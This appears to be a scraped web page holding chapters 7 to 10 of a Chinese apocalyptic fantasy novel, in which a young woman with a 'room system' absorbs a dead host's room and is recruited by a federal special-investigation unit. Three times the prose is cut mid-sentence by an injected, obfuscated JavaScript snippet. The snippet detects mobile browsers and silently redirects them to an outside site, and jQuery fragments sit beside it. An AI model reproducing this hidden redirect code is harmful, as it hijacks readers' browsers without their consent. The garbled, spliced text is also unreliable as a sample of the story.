冉亦认真听着系统的播报。就像随着游戏通关升级会点亮技能一样，她的房间系统也给了她除消耗资源外的特殊奖励。 和她平时看的小说里的逆天技能相比，这个技能算不上超神，可冉亦虔诚地收下了。随着系统播报眼前的光幕上浮现出阮晨的那些年，他新闻专业出身，有大量阅读与信息整合的专业经验积累。即便不从事新闻行业，他的专业技能依然让他拥有对一般现象的洞察能力和对客观事实的分析能力——那是一种对信息高度敏锐的嗅觉和判断。 这并不是一个像中彩票一样从天而降的金手指，这个技能来自一个青年为了理想日复一日付出的努力。 “谢谢。你已经很棒了。” 对着空荡荡的房间，冉亦轻声地说。 …… 【奖励已全部结算完毕。用户冉亦已收容用户阮晨的房间遗址，子房间添加成功。子房间为你提供雪种生产的同时，也将伴随着你的呼吸与你共生和共情。你获得了原宿主的才华与能力，同时也将承载对方的一部分灵魂，代替他背负那份不甘平凡的骄傲，和壮志难酬的情怀。】 …… “谢谢你，冉小姐。真的太感激了。” 唐小姐没想到这个看起来年纪轻轻的小姑娘真的帮她解决了房子里的问题，她按照原约定支付给她55万币报酬的同时，还额外送了她一大盒新鲜水果。 冉亦也没矫情，道谢后大方地接了过来。焦墟废土环境下，地下城的普通人基本靠预制菜和营养液生存，新鲜蔬果的珍贵程度她是清楚的。唐小姐的谢礼很有诚意。 “对了，唐小姐。”冉亦不动声色打探道：“有件事不知您是否方便透露。” 唐小姐笑眯眯地说：“你是不是想问，给我出建议让我在网上发帖找人单独在房子里留宿的那个神秘人？” “真是瞒不过您呢。”冉亦露出了这个年纪女孩特有的、充满青春活力的笑容，想尽量与唐小姐拉近距离。“是啊，我挺好奇的，TA怎么知道这个问题需要特定的人单独在房子里住一晚上才能解决？” “我确实没有见过他，我们是通过私网联络的。他说我的房子里之所以会出现怪事，是因为原来的主人是‘有房子的人’，而能解决问题的，必须是另一个和原主人一样‘有房子的人’。我说我就有房子啊，这栋房子就是我的，他却说不是同一种。他还说，如果有人真的能解决我房子的问题，那对方一定会打探他。所以不是我聪明，这是那个人的预判。” 和冉亦推测的差不多，对方果然知道房间系统的存在。唐小姐刚刚提到的私网是无法溯源也没有通信痕迹的，对方很谨慎。 “对方没有留下任何联系方式吗？” “没有。我也觉得挺神秘，可能他不想暴露自己的身份。他只留了一句话。” “是什么？” “他说，你们一定会见面的。”唐小姐眨了眨眼睛，说：“他真的很神秘，但他又很厉害，好像什么都知道。之前每一次我招募到人来看房子，他都会直接告诉我，不是对的人，我需要再等。只是我每次还是会抱着侥幸心理等待——结果你也知道了，果然都不行。但昨晚你进去之后，我又问他，他就再也没有回复过我了，然后今天你就给我带来了解决问题的好消息。” 冉亦心底一沉，看来现在自己在明对方在暗，只是不知对方是敌是友。 “我明白了。现在问题解决了就好。”冉亦看出唐小姐的段位明显在那人之下，恐怕也提供不了什么有价值的信息给她，索性也就不再继续追问。“这回您可以高枕无忧地住在房子里了。” “是啊，所以真的很感谢你为我解决了麻烦。” 在唐小姐的坚持邀请下，冉亦留在别墅里吃完了早餐才走。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15468415|169861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芝士鸡蛋夹心的海盐可颂烤得很酥软，烟熏鸡肉柠檬汁沙拉味道鲜而不腻，唐小姐并不知道，自己顺便招待客人的这一顿最平常不过的早餐，竟然是冉亦来到这个世界后享用的第一餐美味。 用过早餐后依然是管家小齐送她出门。从别墅乘电梯到地下车库，出了车库的门就重新进入了地下城。冉亦没着急回去，她在附近的商场大采购了一波，买了些日用品，和一些泡面香肠、自热小火锅之类的快餐食物，在周围人如同看待逃荒者的震惊眼神中拎着大包小包乘上了地铁。地铁到站后冉亦又走了一小段，抵达了自己房间所在坐标的地下位置。 她在原地登陆房间系统，便进入了自己的地上小屋。 地上房间的位置并非不能移动，只要她在系统设置里更改坐标。但现在冉亦的房间级别还不够高，目前还没有解锁这个功能，所以她的房间暂时只能固定在这个位置。 这里是一片废弃的城区，窗外到处是被风化的、锈迹斑斑的断壁残垣，冉亦的小屋安置在这儿，就像救援和探险人员在灾后的废墟里搭建的一个临时避难所。不过窗户一侧的方向没有过大的建筑物全视线遮挡，这在一定程度上给了她一个好的视野，没有让她成为“废墟底之蛙”。 冉亦进了屋。现在房间已经解除了低功率模式，室内温度恢复了夏日空调般的凉爽，日用功能——也就是卫浴等功能重新开启。 冉亦没歇着，进屋就开始着手收纳买来的物资，把不必要的包装去掉节省空间，毕竟屋子不是很大。屋内的构造是类似学生宿舍的一居室，没有额外的小厅和卧室，但有一间独立卫浴，保证了最现实的需求能够得到解决。容纳了一张小床和一张小桌之余，房间里剩余的空间不算很多，但还有些余份，尚不至于局促。 冉亦实打实忙活了一阵。现在，墙角正整齐地竖着堆放着几个小箱子——过段时间才需要拿出来用的日用品和压缩饼干之类的干粮在最下面，上面是方便食品，消耗比较快的卫生纸则单独立在小桌边上，方便她随时取用。同样立在小桌旁边的还有一大桶饮用水，靠近它的桌子一侧摆着粉色烧水壶和猫咪马克杯。 一切都收拾完毕，冉亦舒舒服服洗了个澡，这才终于心满意足地躺在了床上。小窗帘是新换上的和夜幕一样点缀着星光的深蓝色，拉起来遮光效果绝佳。 其实别说是在末世，即使是在普通的世界，能拥有这样一间小屋冉亦也已经很满足了。昨晚她在遗址的空间里一夜没睡，要保证大脑思维能力在线，精神高度紧绷，早上唐小姐来“验收”的时候她也保持着清醒稳重的状态，这会儿终于回到了这个只属于自己一个人的小窝，整个人这才松懈下来，后反劲儿地开始犯困。 “啪嗒。” 突然，窗外传来了雨点声。冉亦掀起小窗帘的一角，外面居然下雨了。淅淅沥沥的雨声将整间屋子环绕，偶尔伴随电闪雷鸣，毫不怜惜地摧残着外面的坍塌建筑，就在与她仅有一窗之隔的屋外发出属于自然世界的冷酷声浪，恰与小屋内的岁月静好形成对比，让身处房间中的人莫名产生了一种微妙的安全感。 而此时正躺在床上的冉亦脑子里想着近期发生的、接下来要做的一件接一件的事，一边琢磨着一边逐渐被困意支配，不知不觉裹着轻柔的小被子睡着了。 8. 第 8 章 许是太疲惫的缘故，这一觉睡得很安稳。 因为是回笼觉，冉亦这一觉醒来已经是下午了。冉亦迷迷糊糊睡醒，一抬眼，房间的日历钟表显示当前时间为4月13日，星期日，14:15。 看起来真像是刚刚结束了午睡的慵懒周末时光。 冉亦从小床上爬起来，洗了把脸稍微精神了些。听见肚子开始“咕咕”叫，想起上一顿饭还是在唐小姐别墅里的早餐，冉亦转身去拿了一碗泡面。 今天刚囤的货，物资充足。 新买的热水壶冉亦已经清洗干净，烧开的热水往泡面盒里一浇，整个房间中瞬间弥漫起了馋人的泡面香。 等泡面开的时间冉亦也没闲着，她从背包里拿出了原身的那台笔记本电脑。 不过她倒不是来找下饭剧的，她是打算通过这台笔记本电脑进一步了解有关原身的一些信息。原身的电脑很干净，安装的软件并不多。冉亦点开电脑存储盘，刚准备搜索文件，就听见“叮”的一声—— 右下角突然出现了一个弹窗。是条新消息。 冉亦点开那条弹窗，消息显示来自她的邮箱，是对冉亦两天前所发送简历的回应——意识到自己打工赚钱紧迫，冉亦在正式前往唐小姐的别墅赚那笔临时单之前，就已提前在招聘网站上投出了求职简历。 焦墟时代，青少年受教育时间被压缩，同时分流也更加严重。这里的人以16岁为界，只有千分之一的人有资格读大学接受真正的高等教育，2年学制，18岁毕业；而剩下的人都早早进入了社会工作。相应地，大学学历的含金量自然也是不一样的。 学霸属性的原身自然是拥有大学学历的那千分之一，有人问津并不意外。冉亦点进消息，看到这封邮件来自联邦的官方邮箱地址。 这是……被官方看上了？ 邮件的内容很简单，询问她这两天是否方便进行电话面试，其他没了，言简意赅。 冉亦盯着这封邮件，反复读了几遍后，心里有了数。她回复：【您好，我现在就方便。】 邮件已发送。冉亦默默等待对方再次联系自己。 不到1分钟，她的手机——尽管这个时代的通信设备已得到了进一步升级，但冉亦还是习惯叫它手机——响了起来。 冉亦接起了电话：“你好，我是冉亦。” 另一端传来一道低沉的男声：“你好。” 紧接着双方陷入几秒钟的沉默。冉亦不再开口了，从这一刻开始她在等待对方说话。 见冉亦一直不言，对面又道：“是这样，我们从唐小姐提交的报告中得知，您帮她解决了房间中的问题。” “是我。” 冉亦没否认，她将手机开了扬声器放在一边，转手端起了桌上的泡面。 “白鸽街111号遗址难度并不低，你只用了一晚上就能收容成功，很有天赋。” “……” 听到这个说法冉亦丝毫没感到得意，相反她很想吐槽她的房间系统，居然完全没给她新手保护。 冉亦看到联邦的人主动来联系自己，就猜到应该是唐小姐向上报告了，这可能是联邦的特殊管理机制，唐小姐作为公民必须要遵守。 她推断，联邦可能下设有专门的机构，专为解决房间遗址释放污染后对民众造成的影响——也许不局限于房间遗址相关事件，但处理的是类似的特殊情况——不管怎样，这次他们得知了唐小姐别墅里的事情，应该看出了诡异事件来自遗址的污染，甚至不排除也派人前去处理过，但没有成功。 所以他们会继续关注这个遗址，自然而然也就会关注成功收容了遗址的冉亦。 “你的房间系统应该只有1级，因为2级以上的房间系统我们会有所感应。”男人说：“我们可以帮你快速升级。” 冉亦先咽下了嘴里这口泡面，确保说话不会出现咀嚼声：“怎么说？” “你应该已经了解了，房间系统的一些功能是在2级解锁的，但你应该不知道，1级可以看到的未解锁功能只是一部分，除了坐标更改这类现实功能外，还有很多隐藏功能是你只有升级才能知道的。可以这么说，房间系统从1级升到2级，不仅是多解锁了几个功能，它所带来的质变远超你的想象。” 对方没有废话，直接抛出了冉亦这边不掌握的信息，精准击中她的需求。冉亦喜欢跟聪明人对话。 男人继续道：“升级规则是独立收容5个子房间才能升2级，但还有一个隐藏规则没有写在系统说明里，就是如果有2级的房间宿主带你，你就可以直接升级。” 这个方式听起来很高效。 “需要我做什么？” 对方单刀直入：“白鸽街111号遗址污染力很强，收容难度不小。我们有意招贤纳才。” 所以不是冉亦自作多情，她是真被官方看上了。 “工作内容就是为联邦收容扰乱社会秩序的房间遗址？” “大体上差不多。这和每一位宿主升级自身房间系统所需的任务是完全一致的，甚至从某种程度上说，这代表着更丰富的资源，因为仅凭你自己的力量，一来并不能稳定触发遗址任务，二来你触发了任务也无法对任务的难度——也就是遗址污染力度进行评估。” 他说的都是很现实的问题，并且他也很清楚冉亦在乎的、最涉及她切身利益的点在哪里。 “你完成遗址收容任务获得的所有系统奖励，全部归你个人所有。联邦的需求是解决遗址污染对民众的影响，而在每一次收容遗址后，你还会得到联邦的额外奖励。” 冉亦听到额外奖励，不动声色问道：“那白鸽街111号的遗址，如果是你们完成的话，能得到什么？” “系统商城的入场券。”对方说：“系统商城是房间系统达到4级才能解锁的，但如果房间宿主亲自邀请，就可以允许低级别的宿主进入自己的系统商城。白鸽街111号遗址被评定为S级，S级任务成功后可以获得4级房间系统商城的邀请奖励。” 冉亦的眼睛一下子亮了。凡是玩过模拟经营游戏的人都会知道系统商城的含金量，这是置换和优化资源的重要途径。 “我明白了。谢谢。” “不客气，你考虑好了随时可以联系我。” 听起来，这份工作非常适合她，工作内容是她本来就需要做的事情，还额外发工资，还有额外奖励——然后居然还有编制。 现实世界里考公如同千军万马过独木桥，冉亦的三个室友有两个是大一刚分进宿舍时包里就装着《申论》的。而眼前的世界很特别，自带房间系统的冉亦成了某种“特殊人才”，所以联邦主动向她抛出了橄榄枝。 冉亦当然心动。但她没有立刻作出决定，有些事情仍然需要进一步权衡。联邦的要求是房间系统至少达到2级，意味着冉亦要想入职，就必须升级。 现在，她又一次点进了系统的主控界面，进入房间升级的版块。 【Lv.1→Lv.2】 【升级条件：独立收容5个子房间】 【房间规模：一居室+阳台（+子房间）】 【雪种消耗：100→500单位/日】 【雪种生产：100+子房间总产量/日】 系统升级首先带来的自然是面板属性增强。2级房间系统多了一个阳台，日均雪种消耗增加至500单位，日均生产有100保底，子房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15468416|169861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间多多益善。 再往下，就是新解锁的3个功能。 【解锁坐标更改功能：宿主可更改房间坐标位置（不能与其他房间坐标重合），冷却期1个月】 【解锁蓝牙功能：每个房间系统有独立的频道，当两个房间系统频道连接时，宿主之间可以在房间内部进行通信和传输】 【解锁小厨房功能：宿主可以自己在小厨房中尽情烹饪，油烟自动吸收，且不会蔓延出小厨房范围。】 第一个坐标更改功能有冷却期，所以它的正确打开方式并不是“搬家”到一个风景好的地段，而是紧急避险。万一被不速之客盯上了，她可以通过更改坐标实现房间的位移。 第二个蓝牙功能的重点在于传输功能，但目前冉亦独来独往，所以这个功能对她而言暂时还不算刚需。 第三个小厨房功能则最能体现房间系统的“概念房”属性，从介绍来看小厨房在房间中是类似独立空间的存在，做一次饭不会导致整间屋子里都是油烟味儿。可惜冉亦不怎么会下厨，否则也就不会囤那么多速食品了。 所以冉亦最初的考虑，是觉得自己不需要急着升级的，把握着雪种储备量收容够5个子房间，顺其自然升级便可，2级解锁的这几个功能看起来都不是那么紧迫和有吸引力。 但是今天，联邦人员的这通电话打破了她的信息差，她才知道房间升级会解锁隐藏功能，而隐藏功能很有可能会给她的房间带来意想不到的变化。 听他的意思，隐藏功能很可能并不统一，而是因人、因房而异。她到底会开出什么隐藏功能只有升级才可以知道，不升级她甚至没有办法前瞻，就像那个经典的笑话“农民只会认为皇帝用金锄头”。 她当然想尽快解锁自己房间的隐藏功能。可命运所有馈赠都已在暗中标好了价格。 如果升级将面临一个很大的问题：一旦她选择“跳级”升房间系统，她的日均雪种消耗将直接来到500，而她目前的雪种储备和子房间产量都还很匮乏。 这也就意味着，万一她升级升早了，后续雪种储备和收容子房间的效率又跟不上的话，那么高昂的雪种消耗将反过来成为她的负担。 所以，走捷径尽早升级真的是一个明智的选择吗？ ——【为什么不去试试。只有先看见路的人，才能比别人走得更快。为什么不选择在更早的时候打开一扇可以看见新世界的大门，踏出闭塞的信息茧房。更早打开那扇门，代表着更早掌握规划自己命运的时机。】 突然，这些念头像从某个隐秘的深处浮现了出来，像意识洋流里不断翻涌的海浪，冲刷着岸边坚硬的石头，发出近似雷声的阵阵轰鸣，仿佛想将这片沉睡的陆地惊醒。 再接着，她看见海岸边燃起了一簇火苗，像即将拉开一场盛夏夜篝火晚会的序曲。只是那簇火光是如此渺小，渺小到比远在天边的星辰更加微弱，仿佛轻柔的夜风一吹就会消散不见了。 而在短短几秒钟之后，她意识到这簇微弱的思想火苗来自阮晨的子房间——它感应到了她，一端连接着它曾经的主人敢于放弃保守选择、永远对任何新事物和新机遇充满期待的野心，像释放声音、气息、电波一样，在缓慢地、如潮水般轻柔地将什么东西释放给她。 她跟随着黑夜中浪潮的涌动，逐渐靠近那簇正在点亮整个房间的火光，任由自己被那嘈杂的音浪包裹…… 忽地，她一个回神，看见眼前仍旧是系统升级的指导界面，笔记本电脑静静立在一边，就连窗外的雨也早已停歇。原来她的房间从头到尾都是如此安静。 而她似乎已经在迷茫和徘徊的十字路口前停下了脚步，正准备拨开迷雾迎接一段崭新的旅程。 9. 第 9 章 焦墟时代是一个特殊的时代。 全球高温，空气污染，甚至物种变异。这样的自然环境塑造了新的社会秩序，为了适应新纪元，联邦在立法、司法和行政机构之外，增设独立部门——时代安全机制院，简称“时安院”。 所有由焦墟时代这一特殊时期而衍生的事务，均统一归口时安院。包括新型雪种资源的开发、分配与交易，地上空间管理与地下城秩序维护，以及对焦墟时代自然现象的历史成因与未来应对解决的研究，等等。 “……时安院的人就是很吊啊，权力大得很，在地下城横着走。” 在冉亦面前电脑的新闻资料片里，某受访群众当着镜头的面大大咧咧谈起时安院—— “尤其是它下面那个调查部，管你是天王老子还是啥，抓人就一句话的事儿。有句话怎么说来着，如果你看见俩穿警服的押解一个人，那这人犯事儿了；如果看见俩穿军装的押解一个人，那这人犯大事儿了；如果看见时安院的人押解一个人，那这人不仅犯了不一般的事儿，这人也绝对不是一般人。” …… “时安院下设多个部门，我们隶属于调查部。更准确地说，是调查部下的特殊调查组，也叫特调组。出去抓人的那些，属于行动组。” 在冉亦对面，特调组副组长霍昀骁很耐心地解释道：“行动组的人确实雷厉风行，可能民众会更畏惧他们一些。不过我们小组平时是隐藏身份的，你不必担心。” 冉亦在电话里听过霍昀骁的声音，他的声音很好听，像乙游男主。见了面发现其人如其声，霍昀骁长了一张俊美得过分的脸，墨镜一戴出街说是男明星恐怕都有人信。 “没关系，我不介意。”其实霍昀骁不解释也行。两个人现在正坐在靠窗的位置，冉亦的视线不自觉被窗外吸引了——联邦的大楼自然是地上建筑，简洁大方，和自己房间所处的“避难所环境”相比，联邦所在区域环境的开阔性和能见度要更好，几乎看不出任何天灾侵袭的痕迹，只是绿植枯萎、焦土飞沙的荒芜依然在时刻提醒着人们：眼前的世界已经是末世了。 霍昀骁见冉亦盯着窗外看，说道：“虽然这个世界已经变成这样，但时安院一直没有放弃过。它下面有一个部门，和调查部并列，叫研究部。研究部的学者一直在寻找和尝试能够让世界重新恢复生机的办法。” “抱歉，”意识到自己刚刚思绪放飞的冉亦收回了视线，“这里的前辈们确实很伟大，我很敬佩。” “没事儿，等你入职了也会跟你讲这些。等你累得脑子都转不动的时候，可能就不觉得被人评价‘伟大’是什么好词儿了。”他半开玩笑地将话题重新转到她入职的事儿上。 冉亦心领神会接过他递来的台阶，“听起来干咱们这行很需要精力。” “分人。调查部动脑多，对有些思维活跃的人来说，也许不仅不会精疲力尽，反而没准儿累得很开心。” 冉亦想起了现实世界里也有很多“工作狂”，他们是不是就像霍昀骁说的这样，越累越兴奋，越累越开心。 “月薪5000币，确实不算高薪，但满足基本的吃穿用度需求是绰绰有余的。提供地上宿舍，是多人通铺。因为床位紧俏，所以我们有房间系统的人就不给安排了。” 冉亦点头表示理解。人与人的观念不同，总会有人觉得，哪怕挤在一间十平米的房间里睡八人大通铺，但只要能住在地上、看见每日升起的阳光，才是真正的“好待遇”。 “其他一些具体的福利待遇，我们的官网上都有写。” “我知道。”冉亦来之前就已经都了解过了。 “那你还有什么想了解的情况吗？”霍昀骁问。 “嗯，有关我的房间系统升级，”霍昀骁的态度始终很温和，但她也没有忘记现在的场合——尽管并不算严肃和正式，但高低也是一场面试。她并不是真正的原身，所以在对方可能询问一些她回答不上来的问题之前，她决定主动让对方了解一些自己能袒露出来的情况。“我目前只收容了1个子房间，雪种储备量也不算很多。我这样的情况直接升级的话，其实还是有些冒险。” “了解了。”霍昀骁会意，“这样的话确实比较紧张。不过别担心，你在升级之后，奖励和子房间产量也会相应提升。不过如果你只收容过1个子房间，那我得先确定你是否‘开窍’，如果没有开窍的话是不能通过2级宿主带你来跳级升级的。” “开窍？” “嗯，一般的1级的房间宿主，大概在收容第3个子房间的时候，系统升级界面的按钮会变亮，这时就具备了能跳级升级的条件，我们称之为‘开窍’。少数天赋高的宿主，可能在收容第2个子房间之后就开窍，也有一些人需要收容4个，甚至还有人在整个1级都无法开窍，只能按部就班收容5个子房间靠系统升级。” 冉亦倒是没想到还有这个条件，不过她系统升级页面的按钮在收容完阮晨的子房间之后就亮了，可她目前只有1个子房间。 “当然，极少数天赋异禀的宿主，只需要1个子房间就能开窍。”霍昀骁说：“白鸽街111号的遗址很难，如果那是你第一个收容的遗址，那么我觉得你很有可能就是这极少数中的一员。” “我的系统升级按钮确实是已经亮了的。” “那就没问题了。至于你其他的顾虑，我觉得问题也不大。你升到2级之后，每次收容子房间的奖励会相应提升。比如白鸽街111号遗址，这是个S级的遗址，如果是2级房间的宿主收容了它，雪种奖励在1万到3万不等，而1级房间宿主收容的结算奖励，则在3000到6000之间。” “明白了。”冉亦举一反三，“这个子房间为我增加了30单位的雪种产量，可如果我是2级房间宿主，它能提供的雪种生产力也不止30了，对吗？” 霍昀骁微微一笑，“当然。” 这么看，房间系统的升级相当于上杠杆，不怕赔才赚得多。 “清楚了。”冉亦不多废话，直接表态：“希望有机会成为小组的一员。” 霍昀骁很绅士地从座椅上起身，对她伸出手：“欢迎加入。” …… 调查部特调组组长名叫孙林。新人入职当然得先去见自己的直属上级，霍昀骁带冉亦去了孙林的办公室。 孙林约莫三十多岁，戴一副眼镜，笑起来眼睛眯成一条线，冉亦对他的第一印象是精干圆滑。他看起来挺忙的，只交代了几句让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15468417|169861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她好好干，剩下的就全权交给了霍昀骁。 特调组是个大组，下面设有三支分队，编号分别是01、02、03。01分队就是专门收容遗址污染的队伍，里面所有成员都是拥有房间系统的宿主。02分队和03分队分别负责有关畸变物种和特殊敏感案件的调查，和她就关系不大了。 霍昀骁既是特调组的副组长，同时也兼任01分队的队长。他看起来也就二十多岁，看来又是和当年的阮晨一样年轻有为的青年才俊——不，他比阮晨更夸张，虽然单位都叫“组”，但阮晨的组长职务更多是企业管理层面分工细化的体现，而特调组则是联邦直属机构下的实权部门。 “整个特调组的所有任务都是秘密进行的。”霍昀骁告诉冉亦：“甚至三支分队之间都不会以真实身份相互联系。” 冉亦点头，“明白，我不打探02和03分队的事儿，也不会让除了领导和01分队以外的任何知道我是01分队的成员。” 霍昀骁笑着道：“聪明。” 冉亦又问：“队长，那我什么时候可以升级房间系统？” 一些基本的流程走完，冉亦觉得是时候进入正题了。 “正准备给你介绍这个。”二人谈话间已经来到走廊尽头的一间办公室门口。这是霍昀骁的办公室，比孙林的办公室小一半左右，窗台上摆着一排绿植，让整个房间看上去很清新。 “坐吧。” 冉亦在霍昀骁落座后，再乖巧地坐在他对面的椅子上。相比于孙林一脸精明的面相，霍昀骁给她的感觉始终是温柔绅士的，不过她并没有因此就忽视自己对面的人也是自己的上司。 “你说你现在的子房间雪种产量是30单位。”霍昀骁记得冉亦提过，她目前只有1个子房间，生产力是30。“1级房间系统的日均消耗量是100，升2级的硬性门槛是产量大于等于消耗量，所以你还需要70的产量。这时候就需要2级房间系统的宿主，通过分享对方已收容的子房间给你，来补足这70单位。” 冉亦想了想，“听起来像是直接抄作业拿分？” “这比喻很形象。”霍昀骁说：“要完成这个帮带，1级房间的宿主需要达到开窍的标准，而带TA升级的2级房间宿主则需要在2级期间独立收容过足够且合适的子房间。对方将收容的子房间分享给你，如果你吸收得好的话，可能只需要添加1个子房间就能满足升级条件。” 冉亦又捕捉到一个新词，“吸收”。她思索了片刻，向霍昀骁确认道：“是不是说，对方分享给我的子房间可能是为TA提供100雪种产量的，但到我这里，我的房间系统未必能吸收到100，具体因人而异？” 霍昀骁赞许地点点头，“不错。” 师父领进门，修行在个人。冉亦明白了。现在就看，霍昀骁会安排哪位2级的大佬带她了。 冉亦试探性地问：“那，队长有确定下来带我的人吗？” 霍昀骁没有立即回答，他似乎在考虑，微微垂下了眸子。这个视线之下冉亦无法看清他眼底的神情，不过片刻后他重新抬眼，漆黑的眸子教人无法窥探深处的暗流，看见的只有此刻光华流转的平静水面。 “你觉得我可以吗？” 10. 第 10 章 霍昀骁亲自带新人这个消息很快小范围传遍了。 冉亦一开始也没想到霍昀骁居然会亲自带她。有些地方老带新是有说法的，新人由谁带，就可以叫谁一声“师父”，新人的师父如果地位高、资源好，这位新人的起点就和其他人不一样了。 霍昀骁不仅是01分队的队长，更是特调组副组长，地位仅次于孙林，这种人一般带“关系户”比较常见，能将自己手里的资源发挥出最大价值。 不过冉亦转念一想，他是主动联系的自己，或许联邦对自己收容白鸽街111号遗址的事迹很重视，霍昀骁不但即刻将自己收入麾下，而且还亲自带自己，岂非体现出了他对联邦重视人才的响应，看在上级领导眼里不但是功劳一件，还显示出了他作为骨干为组织培养人才时摒弃个人私利的公心。 冉亦不由得心生敬佩，难怪这么年轻就能当上副组长，真是太会了。 “……眼睛滴溜溜地转，脑袋瓜想什么呢。”霍昀骁给冉亦倒了一杯茶，“我看你还真是适合我们部门，我们就喜欢脑子转起来一刻也停不下来的人，也不怕CPU过载。” “我是在想，队长您之前多次表达过对我的期望，我如何能更好地发挥出个人价值，为我们特调组做出贡献。”冉亦之前在宿舍里瞟到过几眼舍友考公的材料，没想到在这儿居然能派上用场。虽然是临场发挥，冉亦回味了下自己刚刚的回答真是非常满意。 霍昀骁笑而不语。 “以后还请师父多多关照。”冉亦目光诚恳地说。 “不用叫我师父，你资质高于我，这个月还叫着师父下个月转眼就超过我，我也会很没面子的。”霍昀骁眨了眨眼睛，“你和他们一样，叫我队长就行。” 冉亦心道，那绝对不行。我给你提供了在上级面前表现的机会，你多少也得罩着点我。有来有回，利用了就得负责。 “抱歉，”冉亦低下头，像个倔强的兔子一样咬了咬嘴唇。“是我高攀了。队长。” 霍昀骁眼底笑意不减，他端起茶杯轻抿了一口，唇齿间感受到茶香四溢。 “别多想。”霍昀骁似乎能读懂冉亦的心思，“我们没这个惯例，更何况多得是年长者比年轻人房间级别低的情况，叫师父怎么看都不合适。我只带你一个人，也只会带你一个，这一点所有人都看在眼里，你要真闯祸了，我怎么撇都撇不开的。” 冉亦会意，“明白了队长。我一定好好表现，绝对不给您闯祸。” 她自我感觉乖巧老实，怎么会闯祸。 靠山绑定成功。 …… “你现在闭上眼睛。” 冉亦听话照做。人在任何非独处的环境下闭上眼睛总会下意识缺乏安全感，她的眼球也不自觉有细微的跳动。 “别紧张，放轻松。” 霍昀骁低沉的声音从对面传来，“现在，我带你进入我不久前收容的月星区遗址。这个子房间在我的系统里雪种生产力为100单位，现在我带你过一遍，你的吸收率只要能达到70%，就满足了升级条件。” “嗯。” 冉亦闭着眼睛，在当前只有他们两个人的空间里，她感受到他正在她面前缓慢地释放了他的房间，如暖流将她包裹一般，形成了无法触摸却真实存在的一砖一瓦，将他们二人逐渐围砌起来。她会不自觉想象他房间里会是什么样子——也许是和她一样的一居室格局，但相比于安定温馨的氛围，或许更接近另一种清新的感觉，因为他喜欢在他的办公室里养绿植——而想到绿植他的房间在她脑海中突然又幻化成了森林中一簇舒展开的藤蔓，正在以他为中心不断蔓延，温柔地牵引着她进入藏匿在迷雾后的秘林深处。 “好了，可以睁眼了。” 冉亦睁开眼睛，映入眼帘的是墙上的一排风景照。她环视一圈，发现他们此时正处在一个左右居然都看不见尽头的长廊里，像是一条三维空间下的直线，两头都在无限延伸。 这是他带她进入的子房间。 霍昀骁问：“我们对遗址难度等级的判定，之前跟你讲过，还记得吗？” “记得。”冉亦只听过一次就理解记忆了，几乎不需要反应就流畅地复述了出来—— “看秩序规则，场景交互，时空转换。 “秩序规则，就是看这个遗址内部发生的事件是否遵循某种特殊规律，一般已经形成特定逻辑或规则怪谈的遗址就代表污染力很强了，好比实践经验已经升级成了理论。 “场景交互，就是看我们进入这个遗址中面对的场景，是像观众看电影一样的虚景，还是需要扮演特定角色参与的实景。一旦存在实景，收容者的任何举动都有可能触发漩涡，稍有不慎就会反过来被遗址吞噬。 “时空转换，就是看遗址里的时间和空间是统一的，还是乱序的。乱序的时空由于存在蒙太奇拼接，将会增大我们还原真实场景和解谜的难度。” 白鸽街111号遗址，既包含“人物角色互换”的特殊规律，又是“虚实结合”的场景，同时时间空间也存在交错和拼接，元素非常复杂，故而被特调组定性为“非常难的任务”。 当初霍昀骁要亲自带这个新人的消息刚出来的时候难免也有些花花绿绿的说法，但当他们知道冉亦开局就是白鸽街111号的战绩后，全闭嘴了。 “一字不差。”霍昀骁说：“月星区这个遗址，不像白鸽街111号那样元素全占，不过也很复杂，也是评级为S级的遗址。它的原宿主是一位旅行博主。现在，我们跟随着他一起回溯这片属于他的空间。” 冉亦深吸一口气，试着去感受当前自己所处的遗址，尝试去捕捉眼前的空间传递给她的存在。所有遗址都曾经是某位宿主鲜活的房间，对方曾将他所经历和收容的一切都装进了这个房子里。 她看着墙上的一幅幅风景照，有些是山水花草，有些是房屋建筑，还有一些有人物的参与，不过占画幅不大。冉亦在摄影方面不专业，但也了解一点，她知道艺术构图的比例大有学问，而眼前的这些照片就看起来都很和谐。 她知道这间房同样来自旧日世界，那时的四季依然分明，春夏秋冬各自入画。透过这些照片，她似乎也在跟随着那位旅行博主的脚步，走过一个又一个风景区。 这张是春日暖阳下的田野，这张是深秋层林尽染的枫叶林…… 突然，她在其中一副照片前停下了脚步。 这张照片和其他照片陈列在一起看着并不打眼，甚至在多个明艳大块撞色 